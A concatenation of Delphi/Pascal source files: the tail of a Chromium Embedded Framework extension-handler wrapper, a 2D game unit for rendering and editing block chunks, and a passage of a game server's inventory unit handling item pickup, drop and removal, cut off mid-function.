function GetActiveBrowser(const extension: ICefExtension; const browser: ICefBrowser; include_incognito: boolean): ICefBrowser; virtual;
function CanAccessBrowser(const extension: ICefExtension; const browser: ICefBrowser; include_incognito: boolean; const target_browser: ICefBrowser): boolean; virtual;
function GetExtensionResource(const extension: ICefExtension; const browser: ICefBrowser; const file_: ustring; const callback: ICefGetExtensionResourceCallback): boolean; virtual;
public
constructor Create; virtual;
end;
implementation
uses
uCEFMiscFunctions, uCEFLibFunctions, uCEFGetExtensionResourceCallback, uCEFExtension, uCEFBrowser, uCEFClient;
// ***************************************************************************
// ************************ TCefExtensionHandlerRef **************************
// ***************************************************************************
procedure TCefExtensionHandlerRef.OnExtensionLoadFailed(result: TCefErrorcode);
begin
end;
procedure TCefExtensionHandlerRef.OnExtensionLoaded(const extension: ICefExtension);
begin
end;
procedure TCefExtensionHandlerRef.OnExtensionUnloaded(const extension: ICefExtension);
begin
end;
function TCefExtensionHandlerRef.OnBeforeBackgroundBrowser(const extension : ICefExtension;
const url : ustring;
var client : ICefClient;
var settings : TCefBrowserSettings) : boolean;
begin
Result := False;
end;
function TCefExtensionHandlerRef.OnBeforeBrowser(const extension : ICefExtension;
const browser : ICefBrowser;
const active_browser : ICefBrowser;
index : Integer;
const url : ustring;
active : boolean;
var windowInfo : TCefWindowInfo;
var client : ICefClient;
var settings : TCefBrowserSettings) : boolean;
begin
Result := True;
end;
function TCefExtensionHandlerRef.GetActiveBrowser(const extension : ICefExtension;
const browser : ICefBrowser;
include_incognito : boolean): ICefBrowser;
begin
Result := TCefBrowserRef.UnWrap(PCefExtensionHandler(FData).get_active_browser(PCefExtensionHandler(FData),
CefGetData(extension),
CefGetData(browser),
Ord(include_incognito)));
end;
function TCefExtensionHandlerRef.CanAccessBrowser(const extension : ICefExtension;
const browser : ICefBrowser;
include_incognito : boolean;
const target_browser : ICefBrowser): boolean;
begin
Result := PCefExtensionHandler(FData).can_access_browser(PCefExtensionHandler(FData),
CefGetData(extension),
CefGetData(browser),
Ord(include_incognito),
CefGetData(target_browser)) <> 0;
end;
function TCefExtensionHandlerRef.GetExtensionResource(const extension : ICefExtension;
const browser : ICefBrowser;
const file_ : ustring;
const callback : ICefGetExtensionResourceCallback): boolean;
var
TempFile : TCefString;
begin
TempFile := CefString(file_);
Result := PCefExtensionHandler(FData).get_extension_resource(PCefExtensionHandler(FData),
CefGetData(extension),
CefGetData(browser),
@TempFile,
CefGetData(callback)) <> 0;
end;
class function TCefExtensionHandlerRef.UnWrap(data: Pointer): ICefExtensionHandler;
begin
if (data <> nil) then
Result := Create(data) as ICefExtensionHandler
else
Result := nil;
end;
// ***************************************************************************
// ************************ TCefExtensionHandlerOwn **************************
// ***************************************************************************
procedure cef_extension_handler_on_extension_load_failed(self : PCefExtensionHandler;
result : TCefErrorcode); stdcall;
begin
TCefExtensionHandlerOwn(CefGetObject(self)).OnExtensionLoadFailed(result);
end;
procedure cef_extension_handler_on_extension_loaded(self : PCefExtensionHandler;
extension : PCefExtension); stdcall;
begin
TCefExtensionHandlerOwn(CefGetObject(self)).OnExtensionLoaded(TCefExtensionRef.UnWrap(extension));
end;
procedure cef_extension_handler_on_extension_unloaded(self : PCefExtensionHandler;
extension : PCefExtension); stdcall;
begin
TCefExtensionHandlerOwn(CefGetObject(self)).OnExtensionUnloaded(TCefExtensionRef.UnWrap(extension));
end;
function cef_extension_handler_on_before_background_browser(self : PCefExtensionHandler;
extension : PCefExtension;
const url : PCefString;
var client : PCefClient;
settings : PCefBrowserSettings) : Integer; stdcall;
var
TempClient : ICefClient;
TempOldCli : pointer;
begin
TempClient := TCefClientRef.UnWrap(client);
TempOldCli := pointer(TempClient);
Result := Ord(TCefExtensionHandlerOwn(CefGetObject(self)).OnBeforeBackgroundBrowser(TCefExtensionRef.UnWrap(extension),
CefString(url),
TempClient,
settings^));
if (TempClient = nil) then
client := nil
else
if (TempOldCli <> pointer(TempClient)) then
client := CefGetData(TempClient);
end;
function cef_extension_handler_on_before_browser(self : PCefExtensionHandler;
extension : PCefExtension;
browser : PCefBrowser;
active_browser : PCefBrowser;
index : Integer;
const url : PCefString;
active : Integer;
windowInfo : PCefWindowInfo;
var client : PCefClient;
settings : PCefBrowserSettings) : Integer; stdcall;
var
TempClient : ICefClient;
TempOldCli : pointer;
begin
TempClient := TCefClientRef.UnWrap(client);
TempOldCli := pointer(TempClient);
Result := Ord(TCefExtensionHandlerOwn(CefGetObject(self)).OnBeforeBrowser(TCefExtensionRef.UnWrap(extension),
TCefBrowserRef.UnWrap(browser),
TCefBrowserRef.UnWrap(active_browser),
index,
CefString(url),
active <> 0,
windowInfo^,
TempClient,
settings^));
if (TempClient = nil) then
client := nil
else
if (TempOldCli <> pointer(TempClient)) then
client := CefGetData(TempClient);
end;
function cef_extension_handler_get_active_browser(self : PCefExtensionHandler;
extension : PCefExtension;
browser : PCefBrowser;
include_incognito : Integer): PCefBrowser; stdcall;
begin
Result := CefGetData(TCefExtensionHandlerOwn(CefGetObject(self)).GetActiveBrowser(TCefExtensionRef.UnWrap(extension),
TCefBrowserRef.UnWrap(browser),
include_incognito <> 0));
end;
function cef_extension_handler_can_access_browser(self : PCefExtensionHandler;
extension : PCefExtension;
browser : PCefBrowser;
include_incognito : Integer;
target_browser : PCefBrowser): Integer; stdcall;
begin
Result := Ord(TCefExtensionHandlerOwn(CefGetObject(self)).CanAccessBrowser(TCefExtensionRef.UnWrap(extension),
TCefBrowserRef.UnWrap(browser),
include_incognito <> 0,
TCefBrowserRef.UnWrap(target_browser)));
end;
function cef_extension_handler_get_extension_resource(self : PCefExtensionHandler;
extension : PCefExtension;
browser : PCefBrowser;
const file_ : PCefString;
callback : PCefGetExtensionResourceCallback): Integer; stdcall;
begin
Result := Ord(TCefExtensionHandlerOwn(CefGetObject(self)).GetExtensionResource(TCefExtensionRef.UnWrap(extension),
TCefBrowserRef.UnWrap(browser),
CefString(file_),
TCefGetExtensionResourceCallbackRef.UnWrap(callback)));
end;
constructor TCefExtensionHandlerOwn.Create;
begin
inherited CreateData(SizeOf(TCefExtensionHandler));
with PCefExtensionHandler(FData)^ do
begin
on_extension_load_failed := cef_extension_handler_on_extension_load_failed;
on_extension_loaded := cef_extension_handler_on_extension_loaded;
on_extension_unloaded := cef_extension_handler_on_extension_unloaded;
on_before_background_browser := cef_extension_handler_on_before_background_browser;
on_before_browser := cef_extension_handler_on_before_browser;
get_active_browser := cef_extension_handler_get_active_browser;
can_access_browser := cef_extension_handler_can_access_browser;
get_extension_resource := cef_extension_handler_get_extension_resource;
end;
end;
procedure TCefExtensionHandlerOwn.OnExtensionLoadFailed(result: TCefErrorcode);
begin
end;
procedure TCefExtensionHandlerOwn.OnExtensionLoaded(const extension: ICefExtension);
begin
end;
procedure TCefExtensionHandlerOwn.OnExtensionUnloaded(const extension: ICefExtension);
begin
end;
function TCefExtensionHandlerOwn.OnBeforeBackgroundBrowser(const extension : ICefExtension;
const url : ustring;
var client : ICefClient;
var settings : TCefBrowserSettings) : boolean;
begin
Result := True;
end;
function TCefExtensionHandlerOwn.OnBeforeBrowser(const extension : ICefExtension;
const browser : ICefBrowser;
const active_browser : ICefBrowser;
index : Integer;
const url : ustring;
active : boolean;
var windowInfo : TCefWindowInfo;
var client : ICefClient;
var settings : TCefBrowserSettings) : boolean;
begin
Result := True;
end;
function TCefExtensionHandlerOwn.GetActiveBrowser(const extension : ICefExtension;
const browser : ICefBrowser;
include_incognito : boolean): ICefBrowser;
begin
Result := nil;
end;
function TCefExtensionHandlerOwn.CanAccessBrowser(const extension : ICefExtension;
const browser : ICefBrowser;
include_incognito : boolean;
const target_browser : ICefBrowser): boolean;
begin
Result := True;
end;
function TCefExtensionHandlerOwn.GetExtensionResource(const extension : ICefExtension;
const browser : ICefBrowser;
const file_ : ustring;
const callback : ICefGetExtensionResourceCallback): boolean;
begin
Result := False;
end;
end.
|
unit Chunk;
interface
uses myTypes, SwinGame, Math;
procedure RenderChunk(x, y: Integer; myPlayer: PlayerType; chunk:ChunkArray; blocks: BlockArray);
function GetBlock(world: WorldArray; x, y: integer): integer;
procedure SetBlock(var world: WorldArray; x, y, b: integer);
function GetChunkNumber(x, y: integer): Point2D;
implementation
procedure RenderChunk(x, y: Integer; myPlayer: PlayerType; chunk:ChunkArray; blocks: BlockArray);
var
j, i: integer;
blockNo: integer;
deferredX, deferredY: integer;
begin
//Get the location of where the blocks should be displayed based off the players location. This can be negative as it always ensures that the blocks are loaded on screen.
deferredX := Round((-myPlayer.X) + (ScreenWidth() / 2));
deferredY := Round((-myPlayer.Y) + (ScreenHeight() / 2));
for i := 0 to CHUNK_HEIGHT do
begin
for j := 0 to CHUNK_WIDTH do
begin
//Render each block image to the screen, since all images have been loaded in memory this is fairly easy.
blockNo := chunk.Blocks[i, j];
DrawBitmapPartOnScreen(blocks.block[blockNo].image, blocks.block[blockNo].x, blocks.block[blockNo].y, 16, 16, x + (i * 16) + deferredX, y + (j * 16) + deferredY);
end;
end;
end;
//These functions will get/set the block at a pixel location.
function GetBlock(world: WorldArray; x, y: integer): integer;
var
cLoc: Point2D;
myChunk: ChunkArray;
chunkX, chunkY: integer;
begin
cLoc := GetChunkNumber(x, y);
if ((cLoc.x < 0) or (cLoc.x > MAP_WIDTH)) or
((cLoc.Y < 0) or (cLoc.y > MAP_HEIGHT)) then
begin
result := -1;
exit;
end;
myChunk := world.Chunks[Round(cLoc.x), Round(cLoc.y)];
//Some modulo magic to find which block is at what (x, y) in the chunk
chunkX := X mod 256;
chunkY := Y mod 256;
chunkX := Floor(chunkX / 16);
chunkY := Floor(chunkY / 16);
result := myChunk.blocks[chunkX, chunkY];
end;
procedure SetBlock(var world: WorldArray; x, y, b: integer);
var
cLoc: Point2D;
myChunk: ChunkArray;
chunkX, chunkY: integer;
begin
cLoc := GetChunkNumber(x, y);
if ((cLoc.x < 0) or (cLoc.x > MAP_WIDTH)) or
((cLoc.Y < 0) or (cLoc.y > MAP_HEIGHT)) then
begin
exit;
end;
chunkX := X mod 256;
chunkY := Y mod 256;
chunkX := Floor(chunkX / 16);
chunkY := Floor(chunkY / 16);
world.Chunks[Round(cLoc.x), Round(cLoc.y)].blocks[chunkX, chunkY] := b;
end;
function GetChunkNumber(x, y: integer): Point2D;
var
tempPoint2d: Point2D;
begin
//This will get the chunk at x, y
tempPoint2d.x := Floor(x / 256);
tempPoint2d.y := Floor(y / 256);
result := tempPoint2d;
end;
end. |
(*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*
Unit
Inventory
*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*
[2007/10/29] Helios - RaX
================================================================================
License: (FreeBSD, plus commercial with written permission clause.)
================================================================================
Project Helios - Copyright (c) 2005-2007
All rights reserved.
Please refer to Helios.dpr for full license terms.
================================================================================
Overview:
================================================================================
A Character Inventory object, holds item objects and handles packets to show
items in a character's inventory.
================================================================================
Revisions:
================================================================================
(Format: [yyyy/mm/dd] <Author> - <Desc of Changes>)
[2007/10/29] RaX - Created.
*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*)
unit Inventory;
{$IFDEF FPC}
{$MODE Delphi}
{$ENDIF}
interface
uses
{RTL/VCL}
Classes,
{Project}
Item,
ItemInstance,
InventoryList,
Equipment,
{Third Party}
IdContext,
List32
//none
;
type
(*= CLASS =====================================================================*
TInventory
*------------------------------------------------------------------------------*
Overview:
*------------------------------------------------------------------------------*
A Character Inventory object, holds item objects and handles packets to show
items in a character's inventory.
*------------------------------------------------------------------------------*
Revisions:
*------------------------------------------------------------------------------*
(Format: [yyyy/mm/dd] <Author> - <Description of Change>)
[2007/10/29] RaX - Created.
September 29th 2008 - Tsusai - Corrected InventoryID spelling error.
*=============================================================================*)
TInventory = class(TObject)
protected
fItemList : TInventoryList;
ClientInfo : TIdContext;
fCountItem : Word;
fCountEquip : Word;
fWeight : LongWord;
Equipment : TEquipment;
function GetItem(Index : Integer) : TItem;
procedure IncreaseWeight(const AWeight:LongWord);
procedure DecreaseWeight(const AWeight:LongWord);
function IsStackable(const AnItem : TItemInstance):Boolean;
function Move(var AnInventoryItem : TItemInstance;var New:Boolean;const IgnoreWeight:Boolean=False;const UpdateWeight:Boolean=True;const DontFree:Boolean=False):Byte;
procedure Remove(const OldItem:TItemInstance;const Quantity:Word;var NewItem:TItemInstance);overload;
public
InventoryID : LongWord;
StorageID : LongWord;
UseID : LongWord;
EquipID : LongWord;
EtcID : LongWord;
property ItemList : TInventoryList read fItemList;
property Items[Index : Integer] : TItem Read GetItem;
property Countitem : Word read fCountItem;
property CountEquip : Word read fCountEquip;
property Weight : LongWord read fWeight;
procedure Pickup(const ID : LongWord);
procedure Add(AnItem : TItem; Quantity : Word=1;const DontSend:Boolean=False);overload;
function Add(var AnInventoryItem : TItemInstance;const DontSend:Boolean=False;const DoCreate:Boolean=False):Boolean;overload;
function Add(const ID:Word;const Quantity:Word=1;const DontSend:Boolean=False):Boolean;overload;
procedure Drop(const Index:Word;const Quantity:Word);
function Remove(const OldItem:TItemInstance;const Quantity:Word):Word;overload;
procedure Remove(const ID : LongWord;Quantity:Word);overload;
procedure Remove(const Name : String;const Quantity:Word);overload;
function GetInstance(const ID:LongWord;var AnInsctance:TItemInstance):Boolean;
function AmountOf(const ID:LongWord):LongWord;overload;
function AmountOf(const Name:String):LongWord;overload;
procedure Equip(const Index:Word);
procedure Unequip(const Index:Word);
procedure Use(const Index:Word);
constructor Create(const Parent : TObject;const AnEquipment:TEquipment);
destructor Destroy;override;
end;(* TInventory
*== CLASS ====================================================================*)
implementation
uses
{RTL/VCL}
Types,
Math,
{Project}
Character,
PacketTypes,
ZoneSend,
UseableItem,
EquipmentItem,
MiscItem,
Main,
ErrorConstants,
ItemTypes,
ParameterList,
AreaLoopEvents,
InstanceMap
;
{Third Party}
//none
(*- Cons ----------------------------------------------------------------------*
TInventory.Create
--------------------------------------------------------------------------------
Overview:
--
Creates our TInventory.
Pre:
Call ancestor Create
--
Post:
ItemList is created.
--
Revisions:
--
(Format: [yyyy/mm/dd] <Author> - <Comment>)
[2007/10/29] RaX - Created.
*-----------------------------------------------------------------------------*)
Constructor TInventory.Create(const Parent : TObject;const AnEquipment:TEquipment);
begin
inherited Create;
Self.ClientInfo := TCharacter(Parent).ClientInfo;
Self.Equipment := AnEquipment;
fItemList := TInventoryList.Create(FALSE);
fCountItem := 0;
fCountEquip := 0;
fWeight := 0;
End; (* Cons TInventory.Create
*-----------------------------------------------------------------------------*)
(*- Dest ----------------------------------------------------------------------*
TInventory.Destroy
--
Overview:
--
Destroys our TInventory
--
Pre:
Free up our ItemList
Post:
Call ancestor Destroy.
--
Revisions:
--
[2007/10/29] RaX - Created.
*-----------------------------------------------------------------------------*)
destructor TInventory.Destroy;
begin
fItemList.Free;
inherited;
end;{Destroy}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
function TInventory.GetItem(Index: Integer) : TItem;
begin
Result := TItem(fItemList[Index]);
end;
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
procedure TInventory.IncreaseWeight(const AWeight:LongWord);
begin
fWeight := EnsureRange(AWeight + fWeight,0,High(LongWord));
TClientLink(ClientInfo.Data).CharacterLink.Weight := fWeight;
end;
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
procedure TInventory.DecreaseWeight(const AWeight:LongWord);
begin
fWeight := EnsureRange(fWeight - AWeight,0,High(LongWord));
TClientLink(ClientInfo.Data).CharacterLink.Weight := fWeight;
end;
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
function TInventory.IsStackable(const AnItem : TItemInstance):Boolean;
begin
Result := ((AnItem.Item is TUseableItem)OR
(AnItem.Item is TMiscItem));
end;
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//Move FUNCTION
//------------------------------------------------------------------------------
// What it does -
// I don't know...(honestly)
//
// Changes -
// [2008/10/03] Aeomin - Created
//------------------------------------------------------------------------------
function TInventory.Move(var AnInventoryItem : TItemInstance;var New:Boolean;const IgnoreWeight:Boolean=False;const UpdateWeight:Boolean=True;const DontFree:Boolean=False):Byte;
var
Index : Integer;
Amount : Word;
begin
Result := 0;
New := False;
Amount := AnInventoryItem.Quantity;
if fItemList.Count >= MainProc.ZoneServer.Options.MaxItems then
begin
Result := ADDITEM_TOOMUCH;
end else
begin
if (not IgnoreWeight) AND ((TClientLink(ClientInfo.Data).CharacterLink.Weight + (AnInventoryItem.Item.Weight*AnInventoryItem.Quantity))
> TClientLink(ClientInfo.Data).CharacterLink.MaxWeight) then
begin
Result := ADDITEM_OVERWEIGHT;
end else
begin
if IsStackable(AnInventoryItem) then
begin
Index := fItemList.StackableList.IndexOf(AnInventoryItem.Item.ID);
if Index > -1 then
begin
if (TItemInstance(fItemList.StackableList.Objects[Index]).Quantity + AnInventoryItem.Quantity)
> MainProc.ZoneServer.Options.MaxStackItem then
begin
Result := ADDITEM_TOOMUCHSTACKING;
end else
begin
Inc(TItemInstance(fItemList.StackableList.Objects[Index]).Quantity,AnInventoryItem.Quantity);
if not DontFree then
begin
AnInventoryItem.Item.Free;
AnInventoryItem.Free;
end;
AnInventoryItem := TItemInstance(fItemList.StackableList.Objects[Index]);
end;
end else
begin
fItemList.Add(AnInventoryItem,True);
Inc(fCountItem);
New := True;
end;
Inc(fCountItem);
end else
if AnInventoryItem.Item is TEquipmentItem then
begin
Inc(fCountEquip);
AnInventoryItem.Quantity := 1;
fItemList.Add(AnInventoryItem);
New := True;
end;
if Result = 0 then
begin
fWeight := EnsureRange(AnInventoryItem.Item.Weight*Amount + fWeight,0,High(LongWord));
if UpdateWeight then
TClientLink(ClientInfo.Data).CharacterLink.Weight := fWeight;
end;
end;
end;
end;{Move}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//Pickup PROCEDURE
//------------------------------------------------------------------------------
// What it does -
// Pickup craps
//
// Changes -
// [2008/10/03] Aeomin - Created
//------------------------------------------------------------------------------
procedure TInventory.Pickup(const ID : LongWord);
var
AnInventoryItem : TItemInstance;
AChara : TCharacter;
Index : Integer;
CellIndex : Integer;
X,Y:Word;
AParameters : TParameterList;
AList : TList;
GroundIndex : Integer;
function TransferToInventory:Boolean;
var
Amount : Word;
Failed : Byte;
New : Boolean;
OldInstance:TItemInstance;
begin
Amount := AnInventoryItem.Quantity;
OldInstance := AnInventoryItem;
Failed := Move(AnInventoryItem,New,False,True,True);
if Failed > 0 then
begin
SendNewItemFailed(
ClientInfo,
Failed
);
end else
begin
if New then
begin
AnInventoryItem.Position := Point(0,0);
AnInventoryItem.MapID := 0;
AnInventoryItem.MapInfo := nil;
if (AChara.MapInfo is TInstanceMap) then
begin
//Item never actually store when in instance map
TThreadLink(ClientInfo.Data).DatabaseLink.Items.New(
AnInventoryItem,
Self
);
end;
TThreadLink(ClientInfo.Data).DatabaseLink.Items.Save(
AnInventoryItem,
Self
);
end else
begin
TThreadLink(ClientInfo.Data).DatabaseLink.Items.Delete(
OldInstance.ID
);
OldInstance.Item.Free;
OldInstance.Free;
TThreadLink(ClientInfo.Data).DatabaseLink.Items.Save(
AnInventoryItem,
Self
);
end;
SendNewItem(
ClientInfo,
AnInventoryItem,
AnInventoryItem.Index,
Amount
);
end;
Result := (Failed = 0);
end;
begin
AChara := TClientLink(ClientInfo.Data).CharacterLink;
Index := AChara.MapInfo.ItemList.IndexOf(ID);
if Index > -1 then
begin
AnInventoryItem := AChara.MapInfo.ItemList.Objects[Index] as TItemInstance;
X := AnInventoryItem.Position.X;
Y := AnInventoryItem.Position.Y;
//Make sure within 1 cell distance
if (Abs(AChara.Position.X-X)<=1)AND
(Abs(AChara.Position.Y-Y)<=1) then
begin
CellIndex := AChara.MapInfo.Cell[
X,
Y
].Items.IndexOf(ID);
if CellIndex > -1 then
begin
AList := MainProc.ZoneServer.GroundItemList.LockList;
try
if AList.Count > 0 then
begin
for GroundIndex := (AList.Count - 1) downto 0 do
begin
if AList.Items[GroundIndex] = AnInventoryItem then
begin
AList.Delete(GroundIndex);
end;
end;
end;
finally
MainProc.ZoneServer.GroundItemList.UnlockList;
end;
if TransferToInventory then
begin
AChara.MapInfo.Cell[
X,
Y
].Items.Delete(CellIndex);
AChara.MapInfo.ItemList.Delete(Index);
AParameters := TParameterList.Create;
AParameters.AddAsLongWord(1,ID);
AChara.AreaLoop(ShowPickupItem, FALSE,AParameters);
AChara.AreaLoop(RemoveGroundItem, FALSE,AParameters);
AParameters.Free;
end;
end;
end;
end;
end;{Pickup}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
procedure TInventory.Add(AnItem: TItem; Quantity: Word=1;const DontSend:Boolean=False);
var
Item : TItemInstance;
begin
Item := TItemInstance.Create;
Item.Item := AnItem;
Item.Quantity := Quantity;
Add(Item,DontSend,True);
end;
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
function TInventory.Add(var AnInventoryItem : TItemInstance;const DontSend:Boolean=False;const DoCreate:Boolean=False):Boolean;
var
Amount : Word;
Failed : Byte;
New : Boolean;
begin
Amount := AnInventoryItem.Quantity;
Failed := Move(AnInventoryItem,New,DontSend,NOT DontSend);
if (not DontSend) OR DoCreate then
begin
if New then
begin
TThreadLink(ClientInfo.Data).DatabaseLink.Items.New(
AnInventoryItem,
Self
);
end else
begin
TThreadLink(ClientInfo.Data).DatabaseLink.Items.Save(
AnInventoryItem,
Self
);
end;
end;
if Failed = 0 then
begin
if AnInventoryItem.Equipped then
begin
Equipment.Add(
AnInventoryItem,
DontSend
);
end;
if not DontSend then
begin
SendNewItem(
ClientInfo,
AnInventoryItem,
AnInventoryItem.Index,
Amount
);
end;
end else
begin
if not DontSend then
begin
SendNewItemFailed(
ClientInfo,
Failed
);
end;
end;
Result := (Failed = 0);
end;{Add}
//------------------------------------------------------------------------------
function TInventory.Add(const ID:Word;const Quantity:Word=1;const DontSend:Boolean=False):Boolean;
var
AnItem : TItemInstance;
begin
Result := False;
if TThreadLink(ClientInfo.Data).DatabaseLink.Items.Find(ID) then
begin
AnItem := TItemInstance.Create;
AnItem.Item := TItem.Create;
AnItem.Item.ID := ID;
AnItem.Quantity := Quantity;
AnItem.Identified := True;
TThreadLink(ClientInfo.Data).DatabaseLink.Items.Load(AnItem.Item);
Add(AnItem,DontSend,True);
Result := True;
end;
end;{Add}
//------------------------------------------------------------------------------
procedure TInventory.Drop(const Index:Word;const Quantity:Word);
var
AChara : TCharacter;
LoopIndex : Byte;
Position : TPoint;
FoundPosition : Boolean;
TheItem : TItemInstance;
NewItem : TItemInstance;
ParameterList : TParameterList;
begin
AChara := TClientLink(ClientInfo.Data).CharacterLink;
if AChara.MapInfo.IsBlocked(AChara.Position) then
begin
//Standing on unwalkable area?
Exit;
end;
TheItem := fItemList.IndexItems[Index];
if (TheItem <> nil)AND(Quantity>0)AND(TheItem.Quantity >= Quantity) then
begin
{You can't drop if equipment were equipped!}
if TheItem.Equipped then
Exit;
Position.X:= AChara.Position.X + (Random(3)-1);
Position.Y:= AChara.Position.Y + (Random(3)-1);
FoundPosition := False;
for LoopIndex := 1 to 6 do
begin
if NOT AChara.MapInfo.IsBlocked(Position) then
begin
FoundPosition := True;
Break;
end;
Position.X:= AChara.Position.X + (Random(3)-1);
Position.Y:= AChara.Position.Y + (Random(3)-1);
end;
if not FoundPosition then
begin
Position := AChara.Position;
end;
{Improvement needed}
if Quantity >= TheItem.Quantity then
begin
TheItem.Position := Position;
TheItem.MapID := AChara.MapInfo.ID;
if (AChara.MapInfo is TInstanceMap) then
begin
//It shouldn't exists..
TThreadLink(ClientInfo.Data).DatabaseLink.Items.Delete(TheItem.ID);
TheItem.ID:=TInstanceMap(AChara.MapInfo).NewObjectID;
end else
begin
TThreadLink(ClientInfo.Data).DatabaseLink.Items.Save(
TheItem,
nil
);
end;
{Deletem 'em all}
SendDeleteItem(
AChara,
TheItem.Index,
TheItem.Quantity
);
DecreaseWeight(Quantity*TheItem.Item.Weight);
TheItem.MapInfo := AChara.MapInfo;
ParameterList := TParameterList.Create;
ParameterList.AddAsObject(1,TheItem);
ParameterList.AddAsLongWord(2,Quantity);
AChara.AreaLoop(ShowDropitem,False,ParameterList);
ParameterList.Free;
fItemList.Delete(TheItem,True);
TheItem.Dropped;
end else
begin
Remove(
TheItem,
Quantity,
NewItem
);
NewItem.Position := Position;
NewItem.MapID := AChara.MapInfo.ID;
if NOT (AChara.MapInfo is TInstanceMap) then
begin
TThreadLink(ClientInfo.Data).DatabaseLink.Items.New(
NewItem,
nil
);
end else
begin
NewItem.ID:=TInstanceMap(AChara.MapInfo).NewObjectID;
end;
NewItem.MapInfo := AChara.MapInfo;
ParameterList := TParameterList.Create;
ParameterList.AddAsObject(1,NewItem);
ParameterList.AddAsLongWord(2,Quantity);
AChara.AreaLoop(ShowDropitem,False,ParameterList);
ParameterList.Free;
NewItem.Dropped;
TheItem := NewItem;
end;
AChara.MapInfo.Cell[TheItem.Position.X,TheItem.Position.Y].Items.AddObject(TheItem.ID,TheItem);
AChara.MapInfo.ItemList.AddObject(TheItem.ID,TheItem);
end;
end;{Drop}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//Remove FUNCTION
//------------------------------------------------------------------------------
// What it does -
// In situation such drop item,player not always drop everything.
// In this case, item will split into two.
// Quantity is amount for newitem.
// You will also need to New in database.
//
// Changes -
// [2008/09/29] Aeomin - Created
//------------------------------------------------------------------------------
procedure TInventory.Remove(const OldItem:TItemInstance;const Quantity:Word;var NewItem:TItemInstance);
begin
NewItem := nil;
if Quantity < OldItem.Quantity then
begin
NewItem := TItemInstance.Create;
OldItem.Quantity:= OldItem.Quantity - Quantity;
NewItem.Quantity := Quantity;
NewItem.Item := TItem.Create;
NewItem.Item.ID := OldItem.Item.ID;
NewItem.Identified := OldItem.Identified;
TThreadLink(ClientInfo.Data).DatabaseLink.Items.Save(OldItem,Self);
TThreadLink(ClientInfo.Data).DatabaseLink.Items.Load(NewItem.Item);
SendDeleteItem(
TClientLink(ClientInfo.Data).CharacterLink,
OldItem.Index,
Quantity
);
DecreaseWeight(Quantity*OldItem.Item.Weight);
end else
begin
{Remove 'em}
SendDeleteItem(
TClientLink(ClientInfo.Data).CharacterLink,
OldItem.Index,
OldItem.Quantity
);
fItemList.Delete(OldItem);
DecreaseWeight(OldItem.Quantity*OldItem.Item.Weight);
end;
end;{Remove}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//Remove FUNCTION
//------------------------------------------------------------------------------
// What it does -
// Similar to above, except this removes item (such sell to npc)
//
// Changes -
// [2008/09/30] Aeomin - Created
//------------------------------------------------------------------------------
function TInventory.Remove(const OldItem:TItemInstance;const Quantity:Word):Word;
begin
if Quantity < OldItem.Quantity then
begin
OldItem.Quantity:= OldItem.Quantity - Quantity;
TThreadLink(ClientInfo.Data).DatabaseLink.Items.Save(OldItem,Self);
SendDeleteItem(
TClientLink(ClientInfo.Data).CharacterLink,
OldItem.Index,
Quantity
);
DecreaseWeight(Quantity*OldItem.Item.Weight);
Result := Quantity;
end else
begin
TThreadLink(ClientInfo.Data).DatabaseLink.Items.Delete(OldItem.ID);
{Remove 'em}
SendDeleteItem(
TClientLink(ClientInfo.Data).CharacterLink,
OldItem.Index,
OldItem.Quantity
);
Result := OldItem.Quantity;
fItemList.Delete(OldItem);
DecreaseWeight(OldItem.Quantity*OldItem.Item.Weight);
end;
end;{Remove}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//Remove PROCEDURE
//------------------------------------------------------------------------------
// What it does -
// Remove item from inventory using definition ID.
//
// Changes -
// [2008/10/03] Aeomin - Created
//------------------------------------------------------------------------------
procedure TInventory.Remove(const ID : LongWord;Quantity:Word);
var
ItemInstance : TItemInstance;
begin
while Quantity > 0 do
begin
if GetInstance(ID,ItemInstance) then
begin
Quantity := Quantity - Remove(ItemInstance,Quantity);
end else
Break; {Can't find any}
end;
end;{Remove}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//Remove PROCEDURE
//------------------------------------------------------------------------------
// What it does -
// Remove item from inventory using definition Name
//
// Changes -
// [2008/10/03] Aeomin - Created
//------------------------------------------------------------------------------
procedure TInventory.Remove(const Name : String;const Quantity:Word);
var
ID : LongWord;
begin
ID := TThreadLink(ClientInfo.Data).DatabaseLink.Items.Find(Name);
if ID > 0 then
begin
Remove(ID,Quantity);
end;
end;{Remove}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//GetInstance FUNCTION
//------------------------------------------------------------------------------
// What it does -
// Find instance using definition ID; return FALSE if not found.
//
// Changes -
// [2008/10/03] Aeomin - Created
//------------------------------------------------------------------------------
function TInventory.GetInstance(const ID:LongWord;var AnInsctance:TItemInstance):Boolean;
var
Index : Integer;
Instance : TItemInstance;
begin
Result := False;
if fItemList.Count > 0 then
begin
for Index := 0 to fItemList.Count - 1 do
begin
Instance := fItemList[Index] as TItemInstance;
{Equipped items doesn't count!}
if (Instance.Item.ID = ID) AND (NOT Instance.Equipped) then
begin
AnInsctance := Instance;
Result := True;
Break;
end;
end;
end;
end;{GetInstance}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//AmountOf FUNCTION
//------------------------------------------------------------------------------
// What it does -
// Find amount of an item using definition ID.
//
// Changes -
// [2008/10/03] Aeomin - Created
//------------------------------------------------------------------------------
function TInventory.AmountOf(const ID:LongWord):LongWord;
var
Index : Integer;
Instance : TItemInstance;
begin
Result := 0;
if fItemList.Count > 0 then
begin
for Index := 0 to fItemList.Count - 1 do
begin
